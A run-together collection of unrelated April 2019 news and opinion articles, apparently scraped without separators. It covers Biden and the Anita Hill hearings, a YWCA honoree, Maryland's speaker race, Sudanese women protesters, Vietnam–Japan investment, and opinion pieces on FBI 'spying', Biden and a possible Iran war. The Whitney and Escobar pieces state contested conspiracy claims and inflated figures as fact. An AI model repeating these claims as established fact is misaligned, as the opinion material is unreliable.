7-to-7 vote on Thomas's nomination; most Republican members of the committee did not review the statement until days later. (Thomas was confirmed 52 to 48 in mid-October; Biden voted against him in committee and on the floor.) The day of the committee vote, according to multiple accounts, Biden told Thomas that he would oppose him for ideological reasons but promised to send the nomination to the Senate floor, where it appeared Thomas would be confirmed. Biden said later that during the conversation, he assured Thomas that he would be treated fairly if Hill's allegations were reported in the press. Former senator John Danforth, R-Mo., and Thomas' wife later wrote that Biden promised to vouch for Thomas' character, a characterization Biden disputed publicly. "I think you're a good man," Virginia Thomas recalled Biden telling Clarence Thomas, according to an essay she wrote in People magazine in November 1991. "And if these allegations come up, I don't think they have merit. I will be your biggest defender.'" - - - Nine days later, as the Senate prepared for its final vote on Thomas's nomination, Hill's anonymity was broken when her allegations and identity were reported by Newsday, a Long Island-based newspaper, and on NPR. Biden was concerned that any attention on Hill would raise concerns about how he had handled her case. From his point of view, the FBI had investigated, and he had made its final report available to members of his committee. He had followed the rules. The news led Senate Democrats to postpone the floor vote on Thomas's nomination for one week to allow for new hearings. Republicans received several concessions from Biden and Democratic leaders. Hearings would begin in just three days, the Judiciary Committee would not take a second vote on Thomas, and the final floor vote would take place on schedule, no matter what came out during the hearings. Biden and Republicans agreed that the hearings would focus on sexual harassment allegations and not delve into other matters, such as Thomas's alleged interest in pornography. (Thomas denied Hill's charges, including her claim that he had discussed pornographic films with her.) The chairman also offered Thomas the choice of testifying before Hill, after Hill or both; he chose the third option. "I think that [Biden] was in a very, very difficult position because it was such a major event and he was trying to be the referee of a proceeding where there weren't any rules," Danforth said in an interview. Biden called Hill for the first time that evening to tell her about the hearings, a conversation she recalled in her 1997 book, "Speaking Truth to Power." "I asked how the hearing would be conducted. 'Well, at this point the only thing we can do is to conduct an open hearing,' he said, almost as if I were to blame. 'I give you my word that I acted only to protect your confidentiality,' " she wrote. Three days later, all of the major television networks carried the hearing as Biden gaveled it to order and gave opening remarks. He said that fairness demanded that Thomas "be given the benefit of the doubt." He also said that as chairman, he had the power to "rule out of order questions that are not relevant to our proceedings." Thomas, upset with Biden for failing to vouch for his character, delivered a fiery opening statement saying that he would not "provide the rope for my own lynching," a comment that stunned Democrats to silence. As Biden began his questioning, Sen. Orrin Hatch, R-Utah, cut him off mid-sentence. "This is the nomination of a man to become a justice of the Supreme Court of the United States," said Hatch, appearing irate and beginning a long attack against Hill and the process. "Would the senator yield?" Biden said after some time. "I am not finished," Hatch said. "Senator, let me--." "Let me finish." "No, I will not." "Yes, you will. Yes, you will," Hatch said. Biden was the chairman, but Republicans had started to take control. - - - Hill compared the hearing to a "trial that lacked all of the protections of a trial." She faced a committee that was all white, all male and had an average age of about 60; Hill is African American. "Even if somebody had been sitting at the table with me, you couldn't object, nobody could speak but me, and the chairman was not controlling what was going on, so it was worse than being put on trial because in a trial you've got legal protections," she told The Post in 2017. In Senate offices, Republicans were seeking affidavits from Hill's former law students alleging that she engaged in unseemly behaviors. They also sought information about psychological conditions that could lead her to fabricate claims about Thomas. In the hearing room, Republican members of the committee questioned Hill's motives and sanity, raised the possibility that she had plagiarized one allegation from the horror novel "The Exorcist," and suggested they were amassing a trove of ugly details about her personal life. "I really am getting stuff over the transom about Professor Hill," said Sen. Alan Simpson, R-Wyo. "I have got statements from her former law professors, statements from people that know her, statements from Tulsa, Oklahoma, saying, 'Watch out for this woman.' " Simpson told WNYC in 2014 that he was "a monster" to Hill and angered "to the core" during the hearing because he thought her allegations described behavior that did not merit serious concern. Sen. Arlen Specter, R-Pa., now deceased, asked witnesses who supported Thomas whether Hill's allegations were made for reasons of ambition and whether she might have imagined the behavior she said Thomas engaged in. After Hill passed a lie-detector test ordered by her lawyers, Simpson read an affidavit stating that this did not mean she did not suffer from "a delusional disorder." As Republicans prepared to question Hill during the hearing, Biden said there was "no right answer" to whether they should be allowed to ask about Doggett, her former acquaintance, in violation of the rules. He placed the onus on Hill to decide, and she relented. "I did not at any time have any fantasy about a romance with him," she told Specter. Biden challenged several witnesses who testified for Thomas, including Doggett, saying that Doggett's conclusion that Hill had fantasized about him romantically was a "true leap of faith - or ego." The hearings ran for three days. Four witnesses testified for Hill, two of whom said she had told them about Thomas' alleged behavior in the early 1980s. Sixteen witnesses testified on behalf of Thomas, dragging the final session into the early morning of Oct. 14. Thomas was asked questions about a woman named Angela Wright, a former EEOC employee whose claim that he had asked the size of her breasts and pressured her for dates had made its way to the committee. Wright, then an editor at the Charlotte Observer, was deposed by staffers and flew to Washington under subpoena. Biden, citing time constraints, never called her to testify. Two other women who had worked at the EEOC were also seen as potential witnesses whose accounts would support Hill's. Rose Jourdain could corroborate Wright's story, and Sukari Hardnett wrote to the committee that "if you were young, black, female and reasonably attractive, you knew full well you were being inspected and auditioned as a female" by Thomas while working for him. Wright declined to comment for this article. Jourdain died in 2010. Hardnett did not respond to a request for comment. The final day of the hearing was allotted for panels of witnesses, and the pro-Thomas testimony went long. If Wright, Jourdain or Hardnett had been called to testify after that, it would have been late at night. In the end, Biden did not summon any of the women, and little attention was paid to Wright's deposition, which was submitted to the written record in lieu of her testimony. Biden framed this as Wright's decision, and the two signed a letter that stated that if she wanted to testify in person, he would honor her request. Wright, under subpoena until that point, saw it as Biden's decision whether to call her. Hogan, the former Biden lawyer, said she recommended that Biden place Wright's deposition in the record instead of having her testify late on the final night. She said she saw it as a "slam-dunk victory" because the interview would go unrebutted by Republicans, but now says this view was naive. "I feel I gave Senator Biden bad advice," Hogan told The Post. "I told him I thought it was better than having her testify live. I have felt bad about this for years." Republicans who worked to confirm Thomas praised Biden's performance and said he had no reason to apologize. "I thought under the circumstances, he did as best he could," C. Boyden Gray, who served as Bush's White House counsel during the confirmation battle, said in an interview. "There was a lot of obvious disappointment and maybe even anger about the way things turned out, but I think those of us who knew him knew he was trying to maintain the dignity of the committee and run a straight process." Gray said that he "always thought [Biden] was skeptical of the whole plot, if you will, or the whole development." Biden in 2017 said that he believed Hill and said he was sorry "if she felt she didn't get a fair hearing." - - - The Washington Post's Libby Casey and Annys Shin interviewed Hill in 2017. Robert Barnes, Alice Crites, Julie Tate and Matt Viser contributed to this report. ALTON Godfrey resident Page Selbys passion is to always leave it better, and she hopes her legacy shows she took action to live that passion. I may not be able to change the world, but I can start by changing the world for one, she said. I count my blessings every day, and embrace opportunities to serve others. I value integrity and diversity of thought. I love the quote, Be the person your dog thinks you are. Selby is (and has been) involved in many organizations throughout the community, past and present, since moving to Godfrey from Jacksonville, Illinois, in 1988, after graduating from Illinois College. She is a Torchlighter, leader in the workplace and in the leadership circle of the United Way, and cooks a monthly dinner for residents at St. Patricks Womens Shelter. She has served as the St. Ambrose Catholic school board chairman, bully prevention program creator and chairman, and on the Parents Association board, and works on various fundraisers and serves in liturgical roles at St. Ambrose Catholic Church. She serves as an Ameren Corporation diversity ambassador, and works with employee nonprofits, Women Influencing Success in Engineering, Ameren Multi-Generational Employee Resource Group and Powering Connections for All Abilities. Selby is a past member of the Marquette Catholic High School Explorer Club board and the Alton High School FFA alumni board. She served as president, board member and committee chair with the Junior League of Greater Alton, and as a Catholic Charities advisory board member, and has volunteered her time for various events, programs and initiatives throughout the area, such as the Lewis and Clark Community College Foundation Mardi Gras and the Make-A-Wish Foundation regatta, and has been involved with Oasis Womens Shelter and Big Brothers Big Sisters of America. Im grateful for the many opportunities to collaborate with other women to improve our community and schools, and proud of the impacts weve created together, Selby said. Securing funding and support for bullying prevention programs, creating leadership opportunities for girls, and facilitating diversity and inclusion workshops are a few of the ways the YWCA mission has impacted my life. Im not sure Ive accomplished anything big, but Im very proud of my family and how my kids embrace opportunities to volunteer and serve, Selby said. She met Steve, her husband of 29 years, after moving to the area, where the two have raised their three children: daughter, Emily, a freshman at Missouri State University; Daniel, who is serving in the U.S. Air Force, and Michael, is in law enforcement with the Madison County Sheriffs Office. Selby works as the manager of SMP customer programs with Ameren Missouri, and co-owns Creative Living with Pennie and Page, an interior redesign and staging company. I am very humbled to receive this honor, and I have not earned it alone, she said. Ive been supported by family and friends, who also value volunteerism and community service. Being a YWCA Woman of Distinction is an honor and a responsibility. The women who have blazed the trail before us, embracing diversity and empowering other women, have inspired me to live those values. I believe its my responsibility to set the same example for future generations, she added. This is one part of a 10-part series introducing this years YWCA of Alton Women of Distinction honorees. The YWCA of Alton will host the 29th annual Women of Distinction recognition ceremony at 6 p.m., Thursday, May 2, at the Commons at Lewis and Clark Community College. Tickets are $60 per person, $480 per table of eight or $600 for table of 10. Reservations can be made at altonywca.com, at the YWCA at 304 E. Third St., or by calling 618-465-7774. BALTIMORE - One of the two black state lawmakers running to be the first African-American Speaker of the Maryland House of Delegates dropped out of the race Friday, throwing her support behind her rival and cementing the contest for the gavel into an unusually public fight between black leaders and white progressives. House Speaker Pro Tem Adrienne Jones, D-Baltimore County, ended her bid and announced an alliance with Del. Dereck Davis, D-Prince George's, saying black support to elevate a black speaker was paramount. "People are in difficult times, and unity must outweigh politics and pride," she said during a press conference at the Reginald F. Lewis Museum of Maryland African-American History & Culture in Baltimore. "It is for that reason that I'm calling for the Legislative Black Caucus to unite and join me in supporting Delegate Dereck E. Davis as the next speaker of the Maryland House of Delegates,"she said. Jones and Davis are two of the three veteran lawmakers seeking to replace the late Michael Busch, who served as House speaker for 17 years before he died on April 7, the day before the legislature's 90-day annual session ended. Jones' decision to drop out of the race leaves Davis, who serves as the chairman of the Economic Matter Committee and Del. Maggie McIntosh, the chairwoman of the Appropriations Committee, in a face off during next week's election. The election will be held on Wednesday during a one-day special session of the General Assembly. McIntosh, D-Baltimore City, who is white, has shored up progressive support from a majority of the chamber's 98-member Democratic caucus, according to multiple people familiar with the vote count. McIntosh's election would also be historic; she would be the first woman as well as the first openly gay speaker. If elected, McIntosh said Friday she would elevate more African Americans to leadership posts, including replacing some longtime Maryland politicians since as Treasurer Nancy Kopp, who is white. "It's time to have blacks in statewide office," she said in an interview with The Washington Post. "I very supportive of having a black treasurer and more black chairmen." Right now, Davis is the only black chairman of the House's six standing committees. "We should have three," she said. While Davis won a closed-door straw poll of the state's 45-member black caucus, his support was not unanimous and some black lawmakers back McIntosh, according to several people familiar with the results. The alliance between Jones and Davis formed just days after members of the black caucus received a strongly-worded email from an influential group of black ministers calling on the caucus to unite behind one candidate in order to help elect the state's first African American speaker. "Our expectation is that you will act in the best interest of our community as a whole," reads the letter from the African American Clergy for Action of Maryland. "You must put your personal ambitions and specific interests aside for the collective good of our community. Lastly, we expect, no we demand, that you act jointly to seize this opportunity to empower our community." The letter is signed by 24 African American pastors with churches largely based in Baltimore City and Prince George's County. Davis, flanked by Jones and House Majority Whip Talmadge Branch, D-Baltimore City, said that he would seek consensus, respect the needs of the business community and treat the 42-member Republican caucus fairly. The GOP's role in the race has been controversial. Minority Leader Nic Kipke, R-Anne Arundel, said his caucus will vote as a bloc for one the Democrats, which could elevate a candidate who had a minority of Democratic support. Kipke said Friday the GOP had not selected a candidate. Davis denied Friday that he was courting Republicans, and tried to put to rest rumors that he had promised leadership positions to the GOP in exchange for its support. "All they've asked me for is a seat at the table," he said, adding that Republicans asked for the same considerations Busch had provided. He said his goal was win over a majority of Democrats, but he would not commit to backing whomever won the Democratic caucus vote. This week, the chair of Maryland's Democratic Party, Maya Rockeymoore Cummings, published an open letter to members of the House of Delegates threatening retribution if they teamed up with Republicans to win the speakership election. Minutes after Davis and Jones announced their alliance, the only African American ever elected to statewide office in Maryland weighed in to support their effort. "Black voters are the most loyal constituency of the Maryland Democratic Party, and the backing of the African American community has been critical to every Democratic victory across our state," U.S. Rep. Anthony Brown, D, the former lieutenant governor, said in a statement. "Even though African Americans continue to break barriers and make significant strides in public life, we have only managed to put cracks in the glass ceiling of our state's political leadership," he said. "This can and must change now." --- The Washington Post's Ovetta Wiggins contributed to this report. KHARTOUM, Sudan - After three decades of dictatorial rule, Omar Hassan al-Bashir is out of power - the most obvious achievement of Sudan's biggest protest movement. But in the crowded streets of Khartoum, an even more indelible shift is taking place: Women, who were deprived by Bashir of freedoms afforded to men, are demanding equality. From the stages at the center of a massive sit-in here to the tea stalls that dot its periphery, women addressed the new military government and the organizers of the protests, who are almost all men, saying: You will not overlook us. Protest leader Halima Ishaq's voice, amplified by a speaker system, easily overtook the hum of the crowd earlier this week. She is a refugee from Darfur, where Bashir is accused of orchestrating a genocide and mass rapes over a decade ago. She is a master orator, unafraid of ideas some here might find radical. "We cannot get our freedom unless we are essential parts of the new government, not in soft positions in which decisions are not made," she said in an interview before another speech. Men walking through the sit-in paused to contemplate her words. "The laws that limit women must be lifted," she said. Under Bashir, a quarter of parliamentary seats were reserved for women, who were mostly stand-ins for their husbands, many political analysts said. Laws in Sudan compel women to get a male relative's approval to marry or divorce and govern how they can dress. 3 1 of 3 Photo by for The Washington Post by Muhammad Salah Show More Show Less 2 of 3 Photo by for The Washington Post by Muhammad Salah Show More Show Less 3 of 3 Bashir's interpretation of Islamic law was more lenient than, say, that of Saudi Arabia, where women only recently were allowed to drive on their own. But Sudanese society is deeply conservative, and in addition to discriminatory laws, powerful societal roles such as judge or minister are entirely closed off to women. Mohamed Yusuf al-Mustafa, the head of the Sudanese Professionals Association, which has been leading the protests, said he hopes a new civilian government will promote women's equality. "The ideology of the former regime was violently opposed to women's rights. The mandating of 25 percent women in the legislature was for purely decorative purposes," Mustafa said. "That is not how we see it - women are at every level of our structure. Leadership for us is based on merit." Mustafa's support is seen as an improvement by some women. He and other male protest leaders have talked about increasing representation of women in parliament to 40 percent. But 40 percent is not equality. "We aim and aspire for 50 percent," said Tahani Abbas, a lawyer for an organization called No to Women's Oppression. "We want fair and equal participation based on qualifications." Despite the ubiquity of women in the protests, meetings between protest leaders and the military council are mostly attended by men and announced by men and do not explicitly address the demands of women. Bashir was deposed this month by former military allies who now occupy his palace in central Khartoum. The negotiations to form a civilian-led government have moved slowly, with some calling them a "stalemate." Mustafa's organization is demanding that all executive power be handed over to civilians for an extended transition period until elections can be held. The military council is seeking a hybrid military-civilian government. Protesters have vowed to remain camped in downtown Khartoum until their demands are met. Sudan has experienced waves of protests in the past but none as powerful as the ones that continue to swell here. While women may not outnumber the men at the current sit-in, they chant just as loud and know all the words to the protest music that blares from speakers. Women draw up banners, paint protesters' faces and bring their daughters into the middle of the revelry. Many, such as Awadia Koko, have been at every protest against Bashir since he took power in a coup in 1989 - and have been imprisoned for taking part. Koko now leads a tea-sellers union that counts 26,000 women as members. "I was harassed and detained by the security apparatus a lot," she said. "I was put in jail because I helped women." She said she was regularly harassed by police for not dressing in the conservative fashion compelled by Sudan's "public order" laws. "Right now, in the new Sudan, we want all the things of the past to go away," she said, "all the fines and fees, the public order laws, the secret prisons." Ishaq, from the Darfur area, and Koko, from the Nuba Mountains region, represent a wider struggle for racial and ethnic equality in Sudan. Bashir exploited Sudan's divisions as a means of staying power, playing regional militias against one another but always retaining the upper hand. Ishaq and Koko's home regions were decimated by conflict, and millions remain homeless. People displaced by the vicious campaigns of Bashir's military have been welcomed by protesters from the capital, and the sit-in's speeches are peppered with nods to unity. "We are all Darfur," goes one of the most popular refrains. Bashir's military spending left little room for the development of health and education infrastructure, putting an extra burden on women, who are traditionally seen in Sudan as having sole responsibility for raising children. Discrimination based on ethnicity, class and gender are all bundled together around women such as Ishaq and Koko, said Sara Abouh, a former member of parliament and now a professor at Khartoum University. "It isn't like women just suddenly became political in Sudan," said Abouh, who also hosts a TV talk show about women's issues. "But this is a patriarchy. Women are suppressed by any means, and men are terrified of all this changing. What did they expect? It had to be revolution." By Mike Whitney April 25, 2019 " Information Clearing House " - Did the FBI spy on the Trump campaign? - Did the FBI place spies in the Trump campaign? - Yes Do we know the names of the spies and how they operated? - Yes Were the spies trying to entrap Trump campaign assistants in order to gather information on Trump? - Yes Did the spies try to elicit information from Trump campaign assistants in order to justify a wider investigation and more extensive surveillance? - Yes Were the spies placed in the Trump campaign based on improperly obtained FISA warrants? - Yes Did the FBI agents procure these warrants based on false or misleading information? - Yes Could the FBI establish probable cause that Trump had committed a crime or colluded with Russia? - No So the spying was illegal? - Yes Have many of the people who authorized the spying, already been identified in criminal referrals presented to the Department of Justice? - Yes Tired Of The Lies And Non-Stop Propaganda? Get our FREE Daily Newsletter Have the media explained the importance of these criminal referrals or the impact that spying has on free elections? - No Is the DOJs Inspector General currently investigating whether senior-level agents in the FBI committed crimes by improperly obtaining warrants to spy on members of the Trump team? - Yes Did the FBI spy on the Trump campaign to give Hillary Clinton an unfair advantage in the presidential race? - Yes Did the FBI spy on the Trump campaign to gather incriminating information on Trump that could be used to blackmail, intimidate or impeach him in the future? - Yes Does spying pose a threat to our elections and to our democracy? - Yes Do many people know that there were spies placed in the Trump campaign? - Yes Have these people effectively used that information to their advantage? - No Have they launched any type of public relations offensive that would draw more attention to the critical issue of spying on a political campaign? - No Have they saturated the airwaves with the truth about spying the same way their rivals have spread their disinformation about collusion? - No Do they understand that the country is currently embroiled in a fratricidal, scorched earth political civil war in which one side is determined to prevail at all cost? - No Do they understand that the people who authorized the spying and who perpetrated the coup will do everything in their power to prevent that information from getting out? - No Does it look like senior-level agents at the FBI, the CIA, the DOJ, the NSA and the Obama White House knew that there were spies in the Trump campaign? - Yes Did these same senior-level agents at the FBI, the CIA, the DOJ, the NSA and the Obama White House cooperate in a plan to undermine and delegitimize the Trump presidency? - Yes Did they use false or misleading information to infer the president was an agent of a foreign power? - Yes Did they know this false and misleading information was unreliable, unverified raw intelligence that was paid for by the DNC and Hillary Clinton? - Yes Was there a conspiracy to remove Trump from office or to sabotage his presidency through the dissemination of false information? - Yes Does the use of spies, wiretapping, unmasking, strategically-leaked information to the media, and other forms of electronic surveillance suggest that there are organized elements within the permanent bureaucracy which no longer accept the democratic process? - Yes - Is it fair to say that these people are the enemies of free elections? - Yes Is it possible for patriotic officials in the Justice Department and in the U.S. Congress to stand up to this powerful deep state apparatus, expose what happened during the 2016 presidential campaign, identify the perpetrators, and bring them to justice? Joe Biden Is a Fraud, Plain and Simple By Norman Solomon April 25, 2019 " Information Clearing House " - Lets be blunt: As a supposed friend of American workers, Joe Biden is a phony. And now that hes running for president, Bidens huge task is to hide his phoniness. From the outset, with dim prospects from small donors, the Biden campaign is depending on big checks from the rich and corporate elites who greatly appreciate his services rendered. He must rely heavily, at least at first, upon an old-fashioned network of money bundlers political insiders, former ambassadors and business executives, the New York Times reported on Tuesday. Biden has a media image that exudes down-to-earth caring and advocacy for regular folks. But his actual record is a very different story. During the 1970s, in his first Senate term, Biden spouted white backlash rhetoric, used tropes pandering to racism and teamed up with arch segregationists against measures like busing for school integration. He went on to be a fount of racially charged appeals and predators on our streets oratory on the Senate floor as he led the successful effort to pass the now-notorious 1994 crime bill. A gavel in Bidens hand repeatedly proved to be dangerous. In 1991, as chair of the Judiciary Committee, Biden prevented key witnesses from testifying to corroborate Anita Hills accusations of sexual harassment during the Clarence Thomas confirmation hearings for the Supreme Court. In 2002, as chair of the Foreign Relations Committee, Biden was the Senates most crucial supporter of the Iraq invasion. Meanwhile, for well over four decades while corporate media preened his image as Lunch Bucket Joe fighting for the middle class Biden continued his assist for strengthening oligarchy as a powerful champion of legalizing corporate plunder on a mind-boggling scale. Tired Of The Lies And Non-Stop Propaganda? Get our FREE Daily Newsletter Now, Joe Biden has arrived as a presidential candidate to rescue the Democratic Party from Bernie Sanders. Urgency is in the media air. Last week, the New York Times told readers that Stop Sanders Democrats were agonizing over his momentum. The story was front-page news. At the Washington Post, a two-sentence headline appeared just above a nice photo of Biden: Far-Left Policies Will Drive a 2020 Defeat, Centrist Democrats Fear. So Theyre Floating Alternatives. Biden is the most reliable alternative for corporate America. He has what Sanders completely lacks vast experience as an elected official serving the interests of credit-card companies, big banks, insurance firms and other parts of the financial services industry. His alignment with corporate interests has been comprehensive. It was a fulcrum of his entire political career when, in 1993, Sen. Biden voted yes while most Democrats in Congress voted against NAFTA. In recent months, from his pro-corporate vantage point, Biden has been taking potshots at the progressive populism of Bernie Sanders. At a gathering in Alabama last fall, Biden said: Guys, the wealthy are as patriotic as the poor. I know Bernie doesnt like me saying that, but they are. Later, Biden elaborated on the theme when he told an audience at the Brookings Institution, I dont think five hundred billionaires are the reason were in trouble. The folks at the top arent bad guys. Overall, in sharp contrast to the longstanding and continuing negative coverage of Sanders, mainstream media treatment of Biden often borders on reverential. The affection from so many high-profile political journalists toward Biden emerged yet again a few weeks ago during the uproar about his persistent pattern of intrusively touching women and girls. During one cable news show after another, reporters and pundits were at pains to emphasize his essential decency and fine qualities. But lately, some independent-minded journalists have been exhuming what Lunch Bucket Joe is eager to keep buried. For instance: ** Libby Watson, Splinter News: Joe Biden is telling striking workers hes their friend while taking money from, and therefore being beholden to, the class of people oppressing them. According to Axios, Bidens first fundraiser will be with David Cohen, the executive vice president of and principal lobbyist for Comcast. Comcast is one of Americas most hated companies, and for good reason. It represents everything that sucks for the modern consumer-citizen, for whom things like internet or TV access are extremely basic necessities, but who are usually given the option of purchasing it from just one or two companies. Whats more, Comcast supports such policies as ending net neutrality and repealing broadband privacy protections. . . . And Joe Biden is going to kick off his presidential campaign by begging for their money. ** Ryan Cooper, The Week: As a loyal toady of the large corporations (especially finance, insurance, and credit cards) that put their headquarters in Delaware because its suborned government allows them to evade regulations in other states, Biden voted for repeated rounds of deregulation in multiple areas and helped roll back anti-trust policy often siding with Republicans in the process. He was a key architect of the infamous 2005 bankruptcy reform bill which made means tests much more strict and near-impossible to discharge student loans in bankruptcy. ** Paul Waldman, The American Prospect: Joe Biden, we are told over and over, is the one who can speak to the disaffected white men angry at the loss of their primacy. Hes the one who doesnt like abortion, but is willing to let the ladies have them. Hes the one who tells white people to be nice to immigrants, even as he mirrors their xenophobia (You cannot go to a 7-Eleven or a Dunkin Donuts unless you have a slight Indian accent, he said in 2006). Hes the one who validates their racism and sexism while gently trying to assure them that theyre still welcome in the Democratic Party. . . . Its not yet clear what policy agenda Biden will propose, though its likely to be pretty standard Democratic fare that rejects some of the more ambitious goals other candidates have embraced. But Biden represents something more fundamental: a link to the politics and political style of the past. ** Rebecca Traister, The Cut: Much of what Democrats blame Republicans for was enabled, quite literally, by Biden: Justices whose confirmation to the Supreme Court he rubber-stamped worked to disembowel affirmative action, collective bargaining rights, reproductive rights, voting rights. . . . In his years in power, Biden and his party (elected thanks to a nonwhite base enfranchised in the 1960s) built the carceral state that disproportionately imprisons and disenfranchises people of color, as part of what Michelle Alexander has described as the New Jim Crow. With his failure to treat seriously claims of sexual harassment made against powerful men on their way to accruing more power (claims rooted in prohibitions that emerged from the feminist and civil-rights movements of the 1970s), Biden created a precedent that surely made it easier for accused harassers, including Donald Trump and Brett Kavanaugh, to nonetheless ascend. Economic chasms and racial wealth gaps have yawned open, in part thanks to Joe Bidens defenses of credit card companies, his support of that odious welfare-reform bill, his eagerness to support the repeal of Glass-Steagall. One of Bidens illuminating actions came last year in Michigan when he gave a speech for a fee of $200,000 including travel allowance that praised the local Republican congressman, Fred Upton, just three weeks before the mid-term election. From the podium, the former vice president lauded Upton as one of the finest guys Ive ever worked with. For good measure, Biden refused to endorse Uptons Democratic opponent, who went on to lose by less than 5 percent. Biden likes to present himself as a protector of the elderly. Campaigning for Sen. Bill Nelson in Florida last autumn, Biden denounced Republicans for aiming to cut Social Security, Medicare and Medicaid. Yet five months earlier, speaking to the Brookings Institution on May 8, Biden spoke favorably of means testing that would go a long way toward damaging political support for Social Security and Medicare and smoothing the way for such cuts. Indications of being a moderate and a centrist play well with the Washington press corps and corporate media, but amount to a surefire way to undermine enthusiasm and voter turnout from the base of the Democratic Party. The consequences have been catastrophic, and the danger of the partys deference to corporate power looms ahead. Much touted by the same kind of insular punditry that insisted Hillary Clinton was an ideal candidate to defeat Donald Trump, the ostensible electability of Joe Biden has been refuted by careful analysis of data. As a former Sanders delegate to the 2016 Democratic National Convention and a current coordinator of the relaunched independent Bernie Delegates Network for 2019, I remain convinced that the media meme about choosing between strong progressive commitments and capacity to defeat Trump is a false choice. On the contrary, Biden exemplifies a disastrous approach of jettisoning progressive principles and failing to provide a progressive populist alternative to right-wing populism. Thats the history of 2016. It should not be repeated. He made the statement at the conference Meeting Japan - North Central Region co-hosted by the Vietnamese Foreign Ministry and the Japanese Embassy in Vietnam in the central province of Nghe An on April 25. In his speech, Deputy PM Hue expressed his delight that Japan has regained the top position in terms of investment in Vietnam over the past two years with US$9.1 billion in 2017 and US$8.6 billion in 2018. The Vietnamese Party and State are devising a strategy to attract foreign direct investment with a vision to 2045, focusing on investment with foreign partners and switching FDI attraction to key projects with high value, suiting economic restructuring roadmap, he said. He added that Japans supply of official development assistance (ODA) to Vietnam will be incorporated into mid-term investment plan for 2021-2025 to bring practical benefits to the community. Regional localities should be more creative to boost practical and effective ties with Japanese partners, meeting their demand to turn the north central region into an attractive destination for Japanese tourists and investors, he said. Ambassador Umeda, for his part, said Vietnam is tapping free trade agreements for sustainable development and the Comprehensive and Progressive Agreement for Trans-Pacific Partnership (CPTPP) is a successful symbol of bilateral economic, trade and investment ties. He suggested strengthening mutual trust and coordination in human resources training, high-tech agriculture, support industry, tourism, education-training, and labour. War on Iran & Calling Americas Bluff Vast swathes of the West seem not to realize that if the Strait of Hormuz is shut down a global depression will follow, writes Pepe Escobar. By Pepe Escobar April 25, 2019 " Information Clearing House " - T he Trump administration once again has graphically demonstrated that in the young, turbulent 21st century, international law and national sovereignty already belong to the Realm of the Walking Dead. As if a deluge of sanctions against a great deal of the planet was not enough, the latest offer you cant refuse conveyed by a gangster posing as diplomat, Consul Minimus Mike Pompeo, now essentially orders the whole planet to submit to the one and only arbiter of world trade: Washington. First the Trump administration unilaterally smashed a multinational, UN-endorsed agreement, the JCPOA, or Iran nuclear deal. Now the waivers that magnanimously allowed eight nations to import oil from Iran without incurring imperial wrath in the form of sanctions will expire on May 2 and wont be renewed. President Trumps decision to withdraw from the Iran deal upheld his highest obligation: to protect the safety and security of the American people. Why Iran sanctions are necessary: https://t.co/YQtmSA9hZX pic.twitter.com/n5r8mhZTl5 The White House (@WhiteHouse) August 6, 2018 The eight nations are a mix of Eurasian powers: China, India, Japan, South Korea, Taiwan, Turkey, Italy and Greece. Apart from the trademark toxic cocktail of hubris, illegality, arrogance/ignorance and geopolitical/geoeconomic infantilism inbuilt in this foreign policy decision, the notion that Washington can decide whos allowed to be an energy provider to emerging superpower China does not even qualify as laughable. Much more alarming is the fact that imposing a total embargo of Iranian oil exports is no less than an act of war. Ultimate Neocon Wet Dream Those subscribing to the ultimate U.S, neocon and Zionist wet dream regime change in Iran may rejoice at this declaration of war. But as Professor Mohammad Marandi of the University of Tehran has elegantly argued, If the Trump regime miscalculates, the house can easily come crashing down on its head. Tired Of The Lies And Non-Stop Propaganda? Get our FREE Daily Newsletter Reflecting the fact Tehran seems to have no illusions regarding the utter folly ahead, the Iranian leadership if provoked to a point of no return, Marandi additionally told me can get as far as destroying everything on the other side of the Persian Gulf and chasing the U.S. out of Iraq and Afghanistan. When the U.S. escalates, Iran escalates. Now it depends on the U.S. how far things go. This red alert from a sensible academic perfectly dovetails with whats happening with the structure of the Islamic Revolutionary Guard Corps (IRGC) recently branded a terrorist organization by the United States. In perfect symmetry, Irans Supreme National Security Council also branded the U.S. Central Command CENTCOM and all the forces connected to it as a terrorist group. The new IRGC commander-in-chief is Brigadier General Hossein Salami, 58. Since 2009 he was the deputy of previous commander Mohamamd al-Jafari, a soft spoken but tough as nails gentleman I met in Tehran two years ago. Salami, as well as Jafari, is a veteran of the Iran-Iraq war; that is, he has actual combat experience. And Tehran sources assure me that he can be even tougher than Jafari. In tandem, IRGC Navy Commander Rear Admiral Alireza Tangsiri has evoked the unthinkable in terms of what might develop out of the U.S. total embargo on Iran oil exports; Tehran could block the Strait of Hormuz. Western Oblivion Vast swathes of the ruling classes across the West seem to be oblivious to the reality that if Hormuz is shut down, the result will be an absolutely cataclysmic global economic depression. Warren Buffett, among other investors, has routinely qualified the 2.5 quadrillion derivatives market as a weapon of financial mass destruction. As it stands, these derivatives are used illegally to drain no less than a trillion U.S. dollars a year out of the market in manipulated profits. Considering historical precedents, Washington may eventually be able to set up a Persian Gulf of Tonkin false flag. But what next? If Tehran were totally cornered by Washington, with no way out, the de facto nuclear option of shutting down the Strait of Hormuz would instantly cut off 25 percent of the global oil supply. Oil prices could rise to over $500 a barrel, to even $1000 a barrel. The 2.5 quadrillion of derivatives would start a chain reaction of destruction. Unlike the shortage of credit during the 2008 financial crisis, the shortage of oil could not be made up by fiat instruments. Simply because the oil is not there. Not even Russia would be able to re-stabilize the market. Its an open secret in private conversations at the Harvard Club or at Pentagon war-games for that matter that in case of a war on Iran, the U.S. Navy would not be able to keep the Strait of Hormuz open. Russian SS-NX-26 Yakhont missiles with a top speed of Mach 2.9 are lining up the Iranian northern shore of the Strait of Hormuz. Theres no way U.S. aircraft carriers can defend a barrage of Yakhont missiles. Then there are the SS-N-22 Sunburn supersonic anti-ship missiles already exported to China and India flying ultra-low at 1,500 miles an hour with dodging capacity, and extremely mobile; they can be fired from a flatbed truck, and were designed to defeat the U.S. Aegis radar defense system. What Will China Do? The fullfrontal attack on Iran reveals how the Trump administration bets on breaking Eurasia integration via what would be its weakeast node; the three key nodes are China, Russia and Iran. These three actors interconnect the whole spectrum; Belt and Road Initiative; the Eurasia Economic Union; the Shanghai Cooperation Organization; the International North-South Transportation Corridor; the expansion of BRICS Plus. So theres no question the Russia-China strategic partnership will be watching Irans back. Its no accident that the trio is among the top existential threats to the U.S., according to the Pentagon. Beijing knows how the U.S. Navy is able to cut it off from its energy sources. And thats why Beijing is strategically increasing imports of oil and natural gas from Russia; engineering the escape from Malacca also must take into account a hypothetical U.S. takeover of the Strait of Hormuz. A plausible scenario involves Moscow acting to defuse the extremely volatile U.S.-Iran confrontation, with the Kremlin and the Ministry of Defense trying to persuade President Donald Trump and the Pentagon from any direct attack against the 